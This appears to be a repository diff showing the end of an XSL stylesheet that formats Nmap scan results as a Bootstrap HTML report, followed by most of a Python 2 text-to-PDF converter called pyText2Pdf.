<li><a href="#onlinehosts">Online Hosts</a></li>
|
||||
<li><a href="#openservices">Open Services</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
<div class="container">
|
||||
<div class="jumbotron">
|
||||
<h1>Scan Report<br/><small>Nmap <xsl:value-of select="/nmaprun/@version"/></small></h1>
|
||||
<pre style="white-space:pre-wrap; word-wrap:break-word;"><xsl:value-of select="/nmaprun/@args"/></pre>
|
||||
<p class="lead">
|
||||
<xsl:value-of select="/nmaprun/@startstr"/> – <xsl:value-of select="/nmaprun/runstats/finished/@timestr"/><br/>
|
||||
<xsl:value-of select="/nmaprun/runstats/hosts/@total"/> hosts scanned.
|
||||
<xsl:value-of select="/nmaprun/runstats/hosts/@up"/> hosts up.
|
||||
<xsl:value-of select="/nmaprun/runstats/hosts/@down"/> hosts down.
|
||||
</p>
|
||||
<div class="progress">
|
||||
<div class="progress-bar progress-bar-success" style="width: 0%">
|
||||
<xsl:attribute name="style">width:<xsl:value-of select="/nmaprun/runstats/hosts/@up div /nmaprun/runstats/hosts/@total * 100"/>%;</xsl:attribute>
|
||||
<xsl:value-of select="/nmaprun/runstats/hosts/@up"/>
|
||||
<span class="sr-only"></span>
|
||||
</div>
|
||||
<div class="progress-bar progress-bar-danger" style="width: 0%">
|
||||
<xsl:attribute name="style">width:<xsl:value-of select="/nmaprun/runstats/hosts/@down div /nmaprun/runstats/hosts/@total * 100"/>%;</xsl:attribute>
|
||||
<xsl:value-of select="/nmaprun/runstats/hosts/@down"/>
|
||||
<span class="sr-only"></span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<h2 id="scannedhosts" class="target">Scanned Hosts<xsl:if test="/nmaprun/runstats/hosts/@down > 1024"><small> (offline hosts are hidden)</small></xsl:if></h2>
|
||||
<div class="table-responsive">
|
||||
<table id="table-overview" class="table table-striped dataTable" role="grid">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>State</th>
|
||||
<th>Address</th>
|
||||
<th>Hostname</th>
|
||||
<th>TCP (open)</th>
|
||||
<th>UDP (open)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<xsl:choose>
|
||||
<xsl:when test="/nmaprun/runstats/hosts/@down > 1024">
|
||||
<xsl:for-each select="/nmaprun/host[status/@state='up']">
|
||||
<tr>
|
||||
<td><span class="label label-danger"><xsl:if test="status/@state='up'"><xsl:attribute name="class">label label-success</xsl:attribute></xsl:if><xsl:value-of select="status/@state"/></span></td>
|
||||
<td><xsl:value-of select="address/@addr"/></td>
|
||||
<td><xsl:value-of select="hostnames/hostname/@name"/></td>
|
||||
<td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='tcp'])"/></td>
|
||||
<td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='udp'])"/></td>
|
||||
</tr>
|
||||
</xsl:for-each>
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<xsl:for-each select="/nmaprun/host">
|
||||
<tr>
|
||||
<td><span class="label label-danger"><xsl:if test="status/@state='up'"><xsl:attribute name="class">label label-success</xsl:attribute></xsl:if><xsl:value-of select="status/@state"/></span></td>
|
||||
<td><xsl:value-of select="address/@addr"/></td>
|
||||
<td><xsl:value-of select="hostnames/hostname/@name"/></td>
|
||||
<td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='tcp'])"/></td>
|
||||
<td><xsl:value-of select="count(ports/port[state/@state='open' and @protocol='udp'])"/></td>
|
||||
</tr>
|
||||
</xsl:for-each>
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<script>
|
||||
$(document).ready(function() {
|
||||
$('#table-overview').DataTable();
|
||||
});
|
||||
</script>
|
||||
<h2 id="onlinehosts" class="target">Online Hosts</h2>
|
||||
<xsl:for-each select="/nmaprun/host[status/@state='up']">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title"><xsl:value-of select="address/@addr"/><xsl:if test="count(hostnames/hostname) > 0"> - <xsl:value-of select="hostnames/hostname/@name"/></xsl:if></h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<xsl:if test="count(hostnames/hostname) > 0">
|
||||
<h4>Hostnames</h4>
|
||||
<ul>
|
||||
<xsl:for-each select="hostnames/hostname">
|
||||
<li><xsl:value-of select="@name"/> (<xsl:value-of select="@type"/>)</li>
|
||||
</xsl:for-each>
|
||||
</ul>
|
||||
</xsl:if>
|
||||
<h4>Ports</h4>
|
||||
<div class="table-responsive">
|
||||
<table class="table table-bordered">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Port</th>
|
||||
<th>Protocol</th>
|
||||
<th>State<br/>Reason</th>
|
||||
<th>Service</th>
|
||||
<th>Product</th>
|
||||
<th>Version</th>
|
||||
<th>Extra Info</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<xsl:for-each select="ports/port">
|
||||
<xsl:choose>
|
||||
<xsl:when test="state/@state = 'open'">
|
||||
<tr class="success">
|
||||
<td title="Port"><xsl:value-of select="@portid"/></td>
|
||||
<td title="Protocol"><xsl:value-of select="@protocol"/></td>
|
||||
<td title="State / Reason"><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
|
||||
<td title="Service"><xsl:value-of select="service/@name"/></td>
|
||||
<td title="Product"><xsl:value-of select="service/@product"/></td>
|
||||
<td title="Version"><xsl:value-of select="service/@version"/></td>
|
||||
<td title="Extra Info"><xsl:value-of select="service/@extrainfo"/></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td colspan="7">
|
||||
<a><xsl:attribute name="href">https://nvd.nist.gov/vuln/search/results?form_type=Advanced&cves=on&cpe_version=<xsl:value-of select="service/cpe"/></xsl:attribute><xsl:value-of select="service/cpe"/></a>
|
||||
<xsl:for-each select="script">
|
||||
<h5><xsl:value-of select="@id"/></h5>
|
||||
<pre style="white-space:pre-wrap; word-wrap:break-word;"><xsl:value-of select="@output"/></pre>
|
||||
</xsl:for-each>
|
||||
</td>
|
||||
</tr>
|
||||
</xsl:when>
|
||||
<xsl:when test="state/@state = 'filtered'">
|
||||
<tr class="warning">
|
||||
<td><xsl:value-of select="@portid"/></td>
|
||||
<td><xsl:value-of select="@protocol"/></td>
|
||||
<td><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
|
||||
<td><xsl:value-of select="service/@name"/></td>
|
||||
<td><xsl:value-of select="service/@product"/></td>
|
||||
<td><xsl:value-of select="service/@version"/></td>
|
||||
<td><xsl:value-of select="service/@extrainfo"/></td>
|
||||
</tr>
|
||||
</xsl:when>
|
||||
<xsl:when test="state/@state = 'closed'">
|
||||
<tr class="active">
|
||||
<td><xsl:value-of select="@portid"/></td>
|
||||
<td><xsl:value-of select="@protocol"/></td>
|
||||
<td><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
|
||||
<td><xsl:value-of select="service/@name"/></td>
|
||||
<td><xsl:value-of select="service/@product"/></td>
|
||||
<td><xsl:value-of select="service/@version"/></td>
|
||||
<td><xsl:value-of select="service/@extrainfo"/></td>
|
||||
</tr>
|
||||
</xsl:when>
|
||||
<xsl:otherwise>
|
||||
<tr class="info">
|
||||
<td><xsl:value-of select="@portid"/></td>
|
||||
<td><xsl:value-of select="@protocol"/></td>
|
||||
<td><xsl:value-of select="state/@state"/><br/><xsl:value-of select="state/@reason"/></td>
|
||||
<td><xsl:value-of select="service/@name"/></td>
|
||||
<td><xsl:value-of select="service/@product"/></td>
|
||||
<td><xsl:value-of select="service/@version"/></td>
|
||||
<td><xsl:value-of select="service/@extrainfo"/></td>
|
||||
</tr>
|
||||
</xsl:otherwise>
|
||||
</xsl:choose>
|
||||
</xsl:for-each>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<xsl:if test="count(hostscript/script) > 0">
|
||||
<h4>Host Script</h4>
|
||||
</xsl:if>
|
||||
<xsl:for-each select="hostscript/script">
|
||||
<h5><xsl:value-of select="@id"/></h5>
|
||||
<pre style="white-space:pre-wrap; word-wrap:break-word;"><xsl:value-of select="@output"/></pre>
|
||||
</xsl:for-each>
|
||||
</div>
|
||||
</div>
|
||||
</xsl:for-each>
|
||||
<h2 id="openservices" class="target">Open Services</h2>
|
||||
<div class="table-responsive">
|
||||
<table id="table-services" class="table table-striped dataTable" role="grid">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>Address</th>
|
||||
<th>Port</th>
|
||||
<th>Protocol</th>
|
||||
<th>Service</th>
|
||||
<th>Product</th>
|
||||
<th>Version</th>
|
||||
<th>CPE</th>
|
||||
<th>Extra info</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<xsl:for-each select="/nmaprun/host">
|
||||
<xsl:for-each select="ports/port[state/@state='open']">
|
||||
<tr>
|
||||
<td><xsl:value-of select="../../address/@addr"/><xsl:if test="count(../../hostnames/hostname) > 0"> - <xsl:value-of select="../../hostnames/hostname/@name"/></xsl:if></td>
|
||||
<td><xsl:value-of select="@portid"/></td>
|
||||
<td><xsl:value-of select="@protocol"/></td>
|
||||
<td><xsl:value-of select="service/@name"/></td>
|
||||
<td><xsl:value-of select="service/@product"/></td>
|
||||
<td><xsl:value-of select="service/@version"/></td>
|
||||
<td><xsl:value-of select="service/cpe"/></td>
|
||||
<td><xsl:value-of select="service/@extrainfo"/></td>
|
||||
</tr>
|
||||
</xsl:for-each>
|
||||
</xsl:for-each>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<script>
|
||||
$(document).ready(function() {
|
||||
$('#table-services').DataTable();
|
||||
});
|
||||
</script>
|
||||
</div>
|
||||
<footer class="footer">
|
||||
<div class="container">
|
||||
<p class="text-muted">
|
||||
This report was generated with <a href="https://github.com/honze-net/nmap-bootstrap-xsl">Nmap Bootstrap XSL</a>.<br/>
|
||||
Licensed under <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons BY-SA</a>.<br/>
|
||||
Designed and built by Andreas Hontzia (<a href="https://www.twitter.com/honze_net">@honze_net</a>).<br/>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
|
|
@ -0,0 +1,601 @@
|
|||
#! /usr/bin/env python
|
||||
"""
|
||||
pyText2Pdf - Python script to convert plain text files into Adobe
|
||||
Acrobat PDF files with support for arbitrary page breaks etc.
|
||||
|
||||
Version 2.0
|
||||
|
||||
Author: Anand B Pillai <abpillai at gmail dot com>
|
||||
|
||||
"""
|
||||
|
||||
# Derived from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/189858
|
||||
|
||||
import sys, os
|
||||
import string
|
||||
import time
|
||||
import optparse
|
||||
import re
|
||||
|
||||
LF_EXTRA=0
|
||||
LINE_END='\015'
|
||||
# form feed character (^L)
|
||||
FF=chr(12)
|
||||
|
||||
ENCODING_STR = """\
|
||||
/Encoding <<
|
||||
/Differences [ 0 /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /space /exclam
|
||||
/quotedbl /numbersign /dollar /percent /ampersand
|
||||
/quoteright /parenleft /parenright /asterisk /plus /comma
|
||||
/hyphen /period /slash /zero /one /two /three /four /five
|
||||
/six /seven /eight /nine /colon /semicolon /less /equal
|
||||
/greater /question /at /A /B /C /D /E /F /G /H /I /J /K /L
|
||||
/M /N /O /P /Q /R /S /T /U /V /W /X /Y /Z /bracketleft
|
||||
/backslash /bracketright /asciicircum /underscore
|
||||
/quoteleft /a /b /c /d /e /f /g /h /i /j /k /l /m /n /o /p
|
||||
/q /r /s /t /u /v /w /x /y /z /braceleft /bar /braceright
|
||||
/asciitilde /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/.notdef /.notdef /.notdef /.notdef /.notdef /.notdef
|
||||
/dotlessi /grave /acute /circumflex /tilde /macron /breve
|
||||
/dotaccent /dieresis /.notdef /ring /cedilla /.notdef
|
||||
/hungarumlaut /ogonek /caron /space /exclamdown /cent
|
||||
/sterling /currency /yen /brokenbar /section /dieresis
|
||||
/copyright /ordfeminine /guillemotleft /logicalnot /hyphen
|
||||
/registered /macron /degree /plusminus /twosuperior
|
||||
/threesuperior /acute /mu /paragraph /periodcentered
|
||||
/cedilla /onesuperior /ordmasculine /guillemotright
|
||||
/onequarter /onehalf /threequarters /questiondown /Agrave
|
||||
/Aacute /Acircumflex /Atilde /Adieresis /Aring /AE
|
||||
/Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave
|
||||
/Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve
|
||||
/Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash
|
||||
/Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn
|
||||
/germandbls /agrave /aacute /acircumflex /atilde /adieresis
|
||||
/aring /ae /ccedilla /egrave /eacute /ecircumflex
|
||||
/edieresis /igrave /iacute /icircumflex /idieresis /eth
|
||||
/ntilde /ograve /oacute /ocircumflex /otilde /odieresis
|
||||
/divide /oslash /ugrave /uacute /ucircumflex /udieresis
|
||||
/yacute /thorn /ydieresis ]
|
||||
>>
|
||||
"""
|
||||
|
||||
INTRO="""\
|
||||
%prog [options] filename
|
||||
|
||||
PyText2Pdf makes a 7-bit clean PDF file from any input file.
|
||||
|
||||
It reads from a named file, and writes the PDF file to a file specified by
|
||||
the user, otherwise to a file with '.pdf' appended to the input file.
|
||||
|
||||
Author: Anand B Pillai."""
|
||||
|
||||
|
||||
class PyText2Pdf(object):
|
||||
""" Text2pdf converter in pure Python """
|
||||
|
||||
def __init__(self):
|
||||
# version number
|
||||
self._version="1.3"
|
||||
# iso encoding flag
|
||||
self._IsoEnc=False
|
||||
# formfeeds flag
|
||||
self._doFFs=False
|
||||
self._progname="PyText2Pdf"
|
||||
self._appname = " ".join((self._progname,str(self._version)))
|
||||
# default font
|
||||
self._font="/Courier"
|
||||
# default font size
|
||||
self._ptSize=10
|
||||
# default vert space
|
||||
self._vertSpace=12
|
||||
self._lines=0
|
||||
# number of characters in a row
|
||||
self._cols=80
|
||||
self._columns=1
|
||||
# page ht
|
||||
self._pageHt=792
|
||||
# page wd
|
||||
self._pageWd=612
|
||||
# input file
|
||||
self._ifile=""
|
||||
# output file
|
||||
self._ofile=""
|
||||
# default tab width
|
||||
self._tab=4
|
||||
# input file descriptor
|
||||
self._ifs=None
|
||||
# output file descriptor
|
||||
self._ofs=None
|
||||
# landscape flag
|
||||
self._landscape=False
|
||||
# Subject
|
||||
self._subject = ''
|
||||
# Author
|
||||
self._author = ''
|
||||
# Keywords
|
||||
self._keywords = []
|
||||
# Custom regexp for page breaks
|
||||
self._pagebreakre = None
|
||||
|
||||
# marker objects
|
||||
self._curobj = 5
|
||||
self._pageObs = [0]
|
||||
self._locations = [0,0,0,0,0,0]
|
||||
self._pageNo=0
|
||||
|
||||
# file position marker
|
||||
self._fpos=0
|
||||
|
||||
def parse_args(self):
|
||||
|
||||
""" Callback function called by argument parser.
|
||||
Helps to remove duplicate code """
|
||||
|
||||
if len(sys.argv)<2:
|
||||
sys.argv.append('-h')
|
||||
|
||||
parser = optparse.OptionParser(usage=INTRO)
|
||||
parser.add_option('-o','--output',dest='outfile',help='Direct output to file OUTFILE',metavar='OUTFILE')
|
||||
parser.add_option('-f','--font',dest='font',help='Use Postscript font FONT (must be in standard 14, default: Courier)',
|
||||
default='Courier')
|
||||
parser.add_option('-I','--isolatin',dest='isolatin',help='Use ISO latin-1 encoding',default=False,action='store_true')
|
||||
parser.add_option('-s','--size',dest='fontsize',help='Use font at PTSIZE points (default=>10)',metavar='PTSIZE',default=10)
|
||||
parser.add_option('-v','--linespace',dest='linespace',help='Use line spacing LINESPACE (deault 12)',metavar='LINESPACE',default=12)
|
||||
parser.add_option('-l','--lines',dest='lines',help='Lines per page (default 60, determined automatically if unspecified)',default=60, metavar=None)
|
||||
parser.add_option('-c','--chars',dest='chars',help='Maximum characters per line (default 80)',default=80,metavar=None)
|
||||
parser.add_option('-t','--tab',dest='tabspace',help='Spaces per tab character (default 4)',default=4,metavar=None)
|
||||
parser.add_option('-F','--ignoreff',dest='formfeed',help='Ignore formfeed character ^L (i.e, accept formfeed characters as pagebreaks)',default=False,action='store_true')
|
||||
parser.add_option('-P','--papersize',dest='papersize',help='Set paper size (default is letter, accepted values are "A4" or "A3")')
|
||||
parser.add_option('-W','--width',dest='width',help='Independent paper width in points',metavar=None,default=612)
|
||||
parser.add_option('-H','--height',dest='height',help='Independent paper height in points',metavar=None,default=792)
|
||||
parser.add_option('-2','--twocolumns',dest='twocolumns',help='Format as two columns',metavar=None,default=False,action='store_true')
|
||||
parser.add_option('-L','--landscape',dest='landscape',help='Format in landscape mode',metavar=None,default=False,action='store_true')
|
||||
parser.add_option('-R','--regexp',dest='pageregexp',help='Regular expression string to determine page breaks (if supplied, this will be used to split text into pages, instead of using line count)',metavar=None)
|
||||
parser.add_option('-S','--subject',dest='subject',help='Optional subject for the document',metavar=None)
|
||||
parser.add_option('-A','--author',dest='author',help='Optional author for the document',metavar=None)
|
||||
parser.add_option('-K','--keywords',dest='keywords',help='Optional list of keywords for the document (separated by commas)',metavar=None)
|
||||
|
||||
|
||||
optlist, args = parser.parse_args()
|
||||
# print optlist.__dict__, args
|
||||
|
||||
if len(args)==0:
|
||||
sys.exit('Error: input file argument missing')
|
||||
elif len(args)>1:
|
||||
sys.exit('Error: Too many arguments')
|
||||
|
||||
self._ifile = args[0]
|
||||
|
||||
d = optlist.__dict__
|
||||
if d.get('isolatin'): self._IsoEnc=True
|
||||
if d.get('formfeed'): self._doFFs = True
|
||||
if d.get('twocolumns'): self._columns = 2
|
||||
if d.get('landscape'): self._landscape = True
|
||||
|
||||
self._font = '/' + d.get('font')
|
||||
psize = d.get('papersize')
|
||||
if psize=='A4':
|
||||
self._pageWd=595
|
||||
self._pageHt=842
|
||||
elif psize=='A3':
|
||||
self._pageWd=842
|
||||
self._pageHt=1190
|
||||
|
||||
fsize = int(d.get('fontsize'))
|
||||
if fsize < 1: fsize = 1
|
||||
self._ptSize = fsize
|
||||
|
||||
lspace = int(d.get('linespace'))
|
||||
if lspace<1: lspace = 1
|
||||
self._vertSpace = lspace
|
||||
|
||||
lines = int(d.get('lines'))
|
||||
if lines<1: lines = 1
|
||||
self._lines = int(lines)
|
||||
|
||||
chars = int(d.get('chars'))
|
||||
if chars<4: chars = 4
|
||||
self._cols = chars
|
||||
|
||||
tab = int(d.get('tabspace'))
|
||||
if tab<1: tab = 1
|
||||
self._tab = tab
|
||||
|
||||
w = int(d.get('width'))
|
||||
if w<72: w=72
|
||||
self._pageWd = w
|
||||
|
||||
h = int(d.get('height'))
|
||||
if h<72: h=72
|
||||
self._pageHt = h
|
||||
|
||||
# Very optional args
|
||||
author = d.get('author')
|
||||
if author: self._author = author
|
||||
|
||||
subject = d.get('subject')
|
||||
if subject: self._subject = subject
|
||||
|
||||
keywords = d.get('keywords')
|
||||
if keywords:
|
||||
self._keywords = keywords.split(',')
|
||||
|
||||
pagebreak = d.get('pageregexp')
|
||||
if pagebreak:
|
||||
self._pagebreakre = re.compile(pagebreak, re.UNICODE|re.IGNORECASE)
|
||||
|
||||
outfile = d.get('outfile')
|
||||
if outfile: self._ofile = outfile
|
||||
|
||||
if self._landscape:
|
||||
print 'Landscape option on...'
|
||||
if self._columns==2:
|
||||
print 'Printing in two columns...'
|
||||
if self._doFFs:
|
||||
print 'Ignoring form feed character...'
|
||||
if self._IsoEnc:
|
||||
print 'Using ISO Latin Encoding...'
|
||||
|
||||
print 'Using font',self._font[1:],'size =', self._ptSize
|
||||
|
||||
def writestr(self, str):
|
||||
""" Write string to output file descriptor.
|
||||
All output operations go through this function.
|
||||
We keep the current file position also here"""
|
||||
|
||||
# update current file position
|
||||
self._fpos += len(str)
|
||||
for x in range(0, len(str)):
|
||||
if str[x] == '\n':
|
||||
self._fpos += LF_EXTRA
|
||||
try:
|
||||
self._ofs.write(str)
|
||||
except IOError, e:
|
||||
print e
|
||||
return -1
|
||||
|
||||
return 0
|
||||
|
||||
def convert(self):
|
||||
""" Perform the actual conversion """
|
||||
|
||||
if self._landscape:
|
||||
# swap page width & height
|
||||
tmp = self._pageHt
|
||||
self._pageHt = self._pageWd
|
||||
self._pageWd = tmp
|
||||
|
||||
if self._lines==0:
|
||||
self._lines = (self._pageHt - 72)/self._vertSpace
|
||||
if self._lines < 1:
|
||||
self._lines=1
|
||||
|
||||
try:
|
||||
self._ifs=open(self._ifile)
|
||||
except IOError, (strerror, errno):
|
||||
print 'Error: Could not open file to read --->', self._ifile
|
||||
sys.exit(3)
|
||||
|
||||
if self._ofile=="":
|
||||
self._ofile = os.path.splitext(self._ifile)[0] + '.pdf'
|
||||
|
||||
try:
|
||||
self._ofs = open(self._ofile, 'wb')
|
||||
except IOError, (strerror, errno):
|
||||
print 'Error: Could not open file to write --->', self._ofile
|
||||
sys.exit(3)
|
||||
|
||||
print 'Input file=>',self._ifile
|
||||
print 'Writing pdf file',self._ofile, '...'
|
||||
self.writeheader()
|
||||
self.writepages()
|
||||
self.writerest()
|
||||
|
||||
print 'Wrote file', self._ofile
|
||||
self._ifs.close()
|
||||
self._ofs.close()
|
||||
return 0
|
||||
|
||||
def writeheader(self):
|
||||
"""Write the PDF header"""
|
||||
|
||||
ws = self.writestr
|
||||
|
||||
title = self._ifile
|
||||
|
||||
t=time.localtime()
|
||||
timestr=str(time.strftime("D:%Y%m%d%H%M%S", t))
|
||||
ws("%PDF-1.4\n")
|
||||
self._locations[1] = self._fpos
|
||||
ws("1 0 obj\n")
|
||||
ws("<<\n")
|
||||
|
||||
buf = "".join(("/Creator (", self._appname, " By Anand B Pillai )\n"))
|
||||
ws(buf)
|
||||
buf = "".join(("/CreationDate (", timestr, ")\n"))
|
||||
ws(buf)
|
||||
buf = "".join(("/Producer (", self._appname, "(\\251 Anand B Pillai))\n"))
|
||||
ws(buf)
|
||||
if self._subject:
|
||||
title = self._subject
|
||||
buf = "".join(("/Subject (",self._subject,")\n"))
|
||||
ws(buf)
|
||||
if self._author:
|
||||
buf = "".join(("/Author (",self._author,")\n"))
|
||||
ws(buf)
|
||||
if self._keywords:
|
||||
buf = "".join(("/Keywords (",' '.join(self._keywords),")\n"))
|
||||
ws(buf)
|
||||
|
||||
if title:
|
||||
buf = "".join(("/Title (", title, ")\n"))
|
||||
ws(buf)
|
||||
|
||||
ws(">>\n")
|
||||
ws("endobj\n")
|
||||
|
||||
self._locations[2] = self._fpos
|
||||
|
||||
ws("2 0 obj\n")
|
||||
ws("<<\n")
|
||||
ws("/Type /Catalog\n")
|
||||
ws("/Pages 3 0 R\n")
|
||||
ws(">>\n")
|
||||
ws("endobj\n")
|
||||
|
||||
self._locations[4] = self._fpos
|
||||
ws("4 0 obj\n")
|
||||
ws("<<\n")
|
||||
buf = "".join(("/BaseFont ", str(self._font), " /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font >>\n"))
|
||||
ws(buf)
|
||||
|
||||
if self._IsoEnc:
|
||||
ws(ENCODING_STR)
|
||||
|
||||
ws(">>\n")
|
||||
ws("endobj\n")
|
||||
|
||||
self._locations[5] = self._fpos
|
||||
|
||||
ws("5 0 obj\n")
|
||||
ws("<<\n")
|
||||
ws(" /Font << /F1 4 0 R >>\n")
|
||||
ws(" /ProcSet [ /PDF /Text ]\n")
|
||||
ws(">>\n")
|
||||
ws("endobj\n")
|
||||
|
||||
def startpage(self):
|
||||
""" Start a page of data """
|
||||
|
||||
ws = self.writestr
|
||||
|
||||
self._pageNo += 1
|
||||
self._curobj += 1
|
||||
|
||||
self._locations.append(self._fpos)
|
||||
self._locations[self._curobj]=self._fpos
|
||||
|
||||
self._pageObs.append(self._curobj)
|
||||
self._pageObs[self._pageNo] = self._curobj
|
||||
|
||||
buf = "".join((str(self._curobj), " 0 obj\n"))
|
||||
|
||||
ws(buf)
|
||||
ws("<<\n")
|
||||
ws("/Type /Page\n")
|
||||
ws("/Parent 3 0 R\n")
|
||||
ws("/Resources 5 0 R\n")
|
||||
|
||||
self._curobj += 1
|
||||
buf = "".join(("/Contents ", str(self._curobj), " 0 R\n"))
|
||||
ws(buf)
|
||||
ws(">>\n")
|
||||
ws("endobj\n")
|
||||
|
||||
self._locations.append(self._fpos)
|
||||
self._locations[self._curobj] = self._fpos
|
||||
|
||||
buf = "".join((str(self._curobj), " 0 obj\n"))
|
||||
ws(buf)
|
||||
ws("<<\n")
|
||||
|
||||
buf = "".join(("/Length ", str(self._curobj + 1), " 0 R\n"))
|
||||
ws(buf)
|
||||
ws(">>\n")
|
||||
ws("stream\n")
|
||||
strmPos = self._fpos
|
||||
|
||||
ws("BT\n");
|
||||
buf = "".join(("/F1 ", str(self._ptSize), " Tf\n"))
|
||||
ws(buf)
|
||||
buf = "".join(("1 0 0 1 50 ", str(self._pageHt - 40), " Tm\n"))
|
||||
ws(buf)
|
||||
buf = "".join((str(self._vertSpace), " TL\n"))
|
||||
ws(buf)
|
||||
|
||||
return strmPos
|
||||
|
||||
def endpage(self, streamStart):
|
||||
"""End a page of data """
|
||||
|
||||
ws = self.writestr
|
||||
|
||||
ws("ET\n")
|
||||
streamEnd = self._fpos
|
||||
ws("endstream\n")
|
||||
ws("endobj\n")
|
||||
|
||||
self._curobj += 1
|
||||
self._locations.append(self._fpos)
|
||||
self._locations[self._curobj] = self._fpos
|
||||
|
||||
buf = "".join((str(self._curobj), " 0 obj\n"))
|
||||
ws(buf)
|
||||
buf = "".join((str(streamEnd - streamStart), '\n'))
|
||||
ws(buf)
|
||||
ws('endobj\n')
|
||||
|
||||
def writepages(self):
|
||||
"""Write pages as PDF"""
|
||||
|
||||
ws = self.writestr
|
||||
|
||||
beginstream=0
|
||||
lineNo, charNo=0,0
|
||||
ch, column=0,0
|
||||
padding,i=0,0
|
||||
atEOF=0
|
||||
linebuf = ''
|
||||
|
||||
while not atEOF:
|
||||
beginstream = self.startpage()
|
||||
column=1
|
||||
|
||||
while column <= self._columns:
|
||||
column += 1
|
||||
atFF=0
|
||||
atBOP=0
|
||||
lineNo=0
|
||||
# Special flag for regexp page break
|
||||
pagebreak = False
|
||||
|
||||
while lineNo < self._lines and not atFF and not atEOF and not pagebreak:
|
||||
linebuf = ''
|
||||
lineNo += 1
|
||||
ws("(")
|
||||
charNo=0
|
||||
|
||||
while charNo < self._cols:
|
||||
charNo += 1
|
||||
ch = self._ifs.read(1)
|
||||
cond = ((ch != '\n') and not(ch==FF and self._doFFs) and (ch != ''))
|
||||
if not cond:
|
||||
# See if this dude matches the pagebreak regexp
|
||||
if self._pagebreakre and self._pagebreakre.search(linebuf.strip()):
|
||||
pagebreak = True
|
||||
|
||||
linebuf = ''
|
||||
break
|
||||
else:
|
||||
linebuf = linebuf + ch
|
||||
|
||||
if ord(ch) >= 32 and ord(ch) <= 127:
|
||||
if ch == '(' or ch == ')' or ch == '\\':
|
||||
ws("\\")
|
||||
ws(ch)
|
||||
else:
|
||||
if ord(ch) == 9:
|
||||
padding =self._tab - ((charNo - 1) % self._tab)
|
||||
for i in range(padding):
|
||||
ws(" ")
|
||||
charNo += (padding -1)
|
||||
else:
|
||||
if ch != FF:
|
||||
# write \xxx form for dodgy character
|
||||
buf = "".join(('\\', ch))
|
||||
ws(buf)
|
||||
else:
|
||||
# dont print anything for a FF
|
||||
charNo -= 1
|
||||
|
||||
ws(")'\n")
|
||||
if ch == FF:
|
||||
atFF=1
|
||||
if lineNo == self._lines:
|
||||
atBOP=1
|
||||
|
||||
if atBOP:
|
||||
pos=0
|
||||
ch = self._ifs.read(1)
|
||||
pos= self._ifs.tell()
|
||||
if ch == FF:
|
||||
ch = self._ifs.read(1)
|
||||
pos=self._ifs.tell()
|
||||
# python's EOF signature
|
||||
if ch == '':
|
||||
atEOF=1
|
||||
else:
|
||||
# push position back by one char
|
||||
self._ifs.seek(pos-1)
|
||||
|
||||
elif atFF:
|
||||
ch = self._ifs.read(1)
|
||||
pos=self._ifs.tell()
|
||||
if ch == '':
|
||||
atEOF=1
|
||||
else:
|
||||
self._ifs.seek(pos-1)
|
||||
|
||||
if column < self._columns:
|
||||
buf = "".join(("1 0 0 1 ",
|
||||
str((self._pageWd/2 + 25)),
|
||||
" ",
|
||||
str(self._pageHt - 40),
|
||||
" Tm\n"))
|
||||
ws(buf)
|
||||
|
||||
self.endpage(beginstream)
|
||||
|
||||
def writerest(self):
|
||||
"""Finish the file"""
|
||||
|
||||
ws = self.writestr
|
||||
self._locations[3] = self._fpos
|
||||
|
||||
ws("3 0 obj\n")
|
||||
ws("<<\n")
|
||||
ws("/Type /Pages\n")
|
||||
buf = "".join(("/Count ", str(self._pageNo), "\n"))
|
||||
ws(buf)
|
||||
buf = "".join(("/MediaBox [ 0 0 ", str(self._pageWd), " ", str(self._pageHt), " ]\n"))
|
||||
ws(buf)
|
||||
ws("/Kids [ ")
|
||||
|
||||
for i in range(1, self._pageNo+1):
|
||||
buf = "".join((str(self._pageObs[i]), " 0 R "))
|
||||
ws(buf)
|
||||
|
||||
ws("]\n")
|
||||
ws(">>\n")
|
||||
ws("endobj\n")
|
||||
|
||||
xref = self._fpos
|
||||
ws("xref\n")
|
||||
